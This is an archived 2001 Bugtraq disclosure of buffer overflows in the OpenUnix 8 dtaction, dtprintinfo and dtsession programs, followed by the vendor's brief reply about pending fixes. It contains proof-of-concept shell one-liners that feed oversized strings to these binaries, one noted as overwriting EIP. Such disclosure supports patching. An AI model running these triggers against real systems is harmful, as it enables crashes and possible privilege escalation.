De: "KF" <dotslash@snosoft.com>
À: <bugtraq@securityfocus.com>
Objet: [Fwd: OpenUnix 8 dtaction dtprintinfo dtsession overflows]
Date : vendredi 3 août 2001 17:01

Subject: dtaction dtprintinfo dtsession overflows
Date: Wed, 01 Aug 2001 23:27:26 -0400
From: KF <dotslash@snosoft.com>
To: tigger@caldera.com, recon@snosoft.com

Bugtraq Bound...thought I would let ya know. 

/usr/dt/bin/dtaction `perl -e 'print "A" x 9000'`
or 
HOME=`perl -e 'print "A" x 9000'`;/usr/dt/bin/dtaction

HOME=`perl -e 'print "A" x 9000'`;/usr/dt/bin/dtprintinfo 
(positive eip hit on this one)

HOME=`perl -e 'print "A" x 9000'`;/usr/dt/bin/dtsession

uname -a 

OpenUNIX unixware8 5 8.0.0 i386 x86at Caldera UNIX_SVR5 

-KF

-----------------------------------------------

Subject: 
           Re: dtaction dtprintinfo dtsession overflows
      Date: 
           Thu, 2 Aug 2001 14:16:49 -0700
      From: 
           tigger@caldera.com
        To: 
           dotslash@snosoft.com
 References: 
           1


To: dotslash@snosoft.com

We had already fixed the dtaction problem; the others are known but
not yet fixed. All fixes are due out soon.

        Thanks,

                Andrew 